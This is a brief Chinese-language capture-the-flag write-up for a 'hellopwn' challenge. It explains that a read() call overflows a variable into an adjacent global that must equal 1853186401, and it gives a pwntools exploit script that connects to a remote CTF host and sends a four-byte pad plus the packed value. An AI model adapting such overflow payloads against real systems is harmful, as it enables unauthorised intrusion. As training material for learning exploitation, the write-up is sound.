hellopwn

hello pwn
查看源码
hellopwn_第1张图片

程序整体流程上是让dword_60106c =1853186401
根据read函数可知 输入时进的是unk_601068
使read溢出 unk_601068覆盖dword_60106c即可
hellopwn_第2张图片
可以看到他俩相差四个字节
payload=‘a’*4+p32(1853186401)
exp
# coding=utf-8
from pwn import *

p = remote(‘111.198.29.45’,45674) #远程连接

payload = ‘a’*4 + p32(1853186401) #p32表示传输的是一个四字节数
p.recvuntil("~~ welcome to ctf ~~ \n")
p.recvuntil(“lets get helloworld for bof\n”)
p.sendline(payload)
print p.recv()

你可能感兴趣的:(pwn)